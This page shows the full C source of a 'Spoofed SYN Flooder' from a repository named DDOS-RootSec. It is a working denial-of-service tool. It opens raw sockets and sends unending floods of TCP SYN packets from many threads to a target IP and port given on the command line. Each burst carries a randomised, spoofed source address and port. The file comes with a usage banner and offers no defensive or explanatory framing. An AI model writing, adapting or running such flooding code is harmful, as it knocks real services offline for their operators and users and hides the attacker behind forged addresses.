Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
 Path: blob/master/DDOS Scripts/L4/TCP/SSYN2.c
4565 views
1
#include <pthread.h>

2
#include <unistd.h>

3
#include <stdio.h>

4
#include <stdlib.h>

5
#include <string.h>

6
#include <sys/socket.h>

7
#include <netinet/ip.h>

8
#include <netinet/tcp.h>

9
 

10
#define MAX_PACKET_SIZE 4096

11
#define PHI 0x9e3779b9

12
 

13
static uint32_t Q[4096], c = 362436;

14


15
struct thread_data{

16
	int thread_id;

17
	unsigned int floodport;

18
	struct sockaddr_in sin;

19
};

20
 

21
void init_rand(uint32_t x)

22
{

23
        int i;

24
 

25
        Q[0] = x;

26
        Q[1] = x + PHI;

27
        Q[2] = x + PHI + PHI;

28
 

29
        for (i = 3; i < 4096; i++)

30
                Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;

31
}

32
 

33
uint32_t rand_cmwc(void)

34
{

35
        uint64_t t, a = 18782LL;

36
        static uint32_t i = 4095;

37
        uint32_t x, r = 0xfffffffe;

38
        i = (i + 1) & 4095;

39
        t = a * Q[i] + c;

40
        c = (t >> 32);

41
        x = t + c;

42
        if (x < c) {

43
                x++;

44
                c++;

45
        }

46
        return (Q[i] = r - x);

47
}

48


49
/* function for header checksums */

50
unsigned short csum (unsigned short *buf, int nwords)

51
{

52
  unsigned long sum;

53
  for (sum = 0; nwords > 0; nwords--)

54
  sum += *buf++;

55
  sum = (sum >> 16) + (sum & 0xffff);

56
  sum += (sum >> 16);

57
  return (unsigned short)(~sum);

58
}

59
void setup_ip_header(struct iphdr *iph)

60
{

61
  iph->ihl = 5;

62
  iph->version = 4;

63
  iph->tos = 0;

64
  iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);

65
  iph->id = htonl(54321);

66
  iph->frag_off = 0;

67
  iph->ttl = MAXTTL;

68
  iph->protocol = 6;  // upper layer protocol, TCP

69
  iph->check = 0;

70


71
  // Initial IP, changed later in infinite loop

72
  iph->saddr = inet_addr("192.168.3.100");

73
}

74


75
void setup_tcp_header(struct tcphdr *tcph)

76
{

77
  tcph->source = htons(5678);

78
  tcph->seq = random();

79
  tcph->ack_seq = 0;

80
  tcph->res2 = 0;

81
  tcph->doff = 5; // Make it look like there will be data

82
  tcph->syn = 1;

83
  tcph->window = htonl(65535);

84
  tcph->check = 0;

85
  tcph->urg_ptr = 0;

86
}

87


88
void *flood(void *par1)

89
{

90
  struct thread_data *td = (struct thread_data *)par1;

91
  char datagram[MAX_PACKET_SIZE];

92
  struct iphdr *iph = (struct iphdr *)datagram;

93
  struct tcphdr *tcph = (/*u_int8_t*/void *)iph + (5 * sizeof(u_int32_t));

94
  struct sockaddr_in sin = td->sin;

95
  char new_ip[sizeof "255.255.255.255"];

96


97
  int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

98
  if(s < 0){

99
    fprintf(stderr, "Could not open raw socket.\n");

100
    exit(-1);

101
  }

102


103
  unsigned int floodport = td->floodport;

104


105
  // Clear the data

106
  memset(datagram, 0, MAX_PACKET_SIZE);

107


108
  // Set appropriate fields in headers

109
  setup_ip_header(iph);

110
  setup_tcp_header(tcph);

111


112
  tcph->dest = htons(floodport);

113


114
  iph->daddr = sin.sin_addr.s_addr;

115
  iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

116


117
  int tmp = 1;

118
  const int *val = &tmp;

119
  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){

120
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");

121
    exit(-1);

122
  }

123


124
  uint32_t random_num;

125
  uint32_t ul_dst;

126
  init_rand(time(NULL));

127
  while(1){

128
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

129
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

130
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

131
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

132
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

133
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

134
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

135
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

136
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

137
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

138
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

139
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

140
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

141
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

142
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

143
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

144
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

145
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

146
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

147
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

148
    random_num = rand_cmwc();

149


150
    ul_dst = (random_num >> 24 & 0xFF) << 24 |

151
             (random_num >> 16 & 0xFF) << 16 |

152
             (random_num >> 8 & 0xFF) << 8 |

153
             (random_num & 0xFF);

154


155
    iph->saddr = ul_dst;

156
    tcph->source = htons(random_num & 0xFFFF);

157
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

158
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

159
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

160
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

161
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

162
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

163
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

164
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

165
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

166
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

167
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

168
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

169
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

170
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

171
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

172
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

173
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

174
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

175
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

176
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

177
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

178
    random_num = rand_cmwc();

179


180
    ul_dst = (random_num >> 24 & 0xFF) << 24 |

181
             (random_num >> 16 & 0xFF) << 16 |

182
             (random_num >> 8 & 0xFF) << 8 |

183
             (random_num & 0xFF);

184


185
    iph->saddr = ul_dst;

186
    tcph->source = htons(random_num & 0xFFFF);

187
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

188
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

189
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

190
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

191
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

192
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

193
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

194
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

195
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

196
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

197
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

198
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

199
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

200
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

201
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

202
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

203
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

204
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

205
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

206
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

207
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

208
    random_num = rand_cmwc();

209


210
    ul_dst = (random_num >> 24 & 0xFF) << 24 |

211
             (random_num >> 16 & 0xFF) << 16 |

212
             (random_num >> 8 & 0xFF) << 8 |

213
             (random_num & 0xFF);

214


215
    iph->saddr = ul_dst;

216
    tcph->source = htons(random_num & 0xFFFF);

217
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

218
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

219
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

220
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

221
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

222
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

223
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

224
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

225
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

226
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

227
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

228
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

229
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

230
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

231
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

232
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

233
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

234
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

235
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

236
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

237
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

238
    random_num = rand_cmwc();

239


240
    ul_dst = (random_num >> 24 & 0xFF) << 24 |

241
             (random_num >> 16 & 0xFF) << 16 |

242
             (random_num >> 8 & 0xFF) << 8 |

243
             (random_num & 0xFF);

244


245
    iph->saddr = ul_dst;

246
    tcph->source = htons(random_num & 0xFFFF);

247
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

248
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

249
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

250
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

251
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

252
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

253
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

254
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

255
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

256
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

257
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

258
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

259
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

260
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

261
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

262
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

263
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

264
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

265
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

266
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

267
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

268
   random_num = rand_cmwc();

269


270
    ul_dst = (random_num >> 24 & 0xFF) << 24 |

271
             (random_num >> 16 & 0xFF) << 16 |

272
             (random_num >> 8 & 0xFF) << 8 |

273
             (random_num & 0xFF);

274


275
    iph->saddr = ul_dst;

276
    tcph->source = htons(random_num & 0xFFFF);

277
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

278
  }

279
}

280
int main(int argc, char *argv[ ])

281
{

282
  if(argc < 4){

283
    fprintf(stderr, "Invalid parameters!\n");

284
    fprintf(stdout, "Spoofed SYN Flooder v1.6.1 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <number threads to use> <time (optional)>\n", argv[0]);

285
    exit(-1);

286
  }

287


288
  fprintf(stdout, "Setting up Sockets...\n");

289


290
  int num_threads = atoi(argv[3]);

291
  unsigned int floodport = atoi(argv[2]);

292
  pthread_t thread[num_threads];

293
  struct sockaddr_in sin;

294


295
  sin.sin_family = AF_INET;

296
  sin.sin_port = htons(floodport);

297
  sin.sin_addr.s_addr = inet_addr(argv[1]);

298


299
  struct thread_data td[num_threads];

300


301
  int i;

302
  for(i = 0;i<num_threads;i++){

303
    td[i].thread_id = i;

304
    td[i].sin = sin;

305
    td[i].floodport = floodport;

306
    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);

307
  }

308
  fprintf(stdout, "Starting Flood...\n");

309
  if(argc > 4)

310
  {

311
    sleep(atoi(argv[4]));

312
  } else {

313
    while(1){

314
      sleep(1);

315
    }

316
  }

317


318
  return 0;

319
}

320


321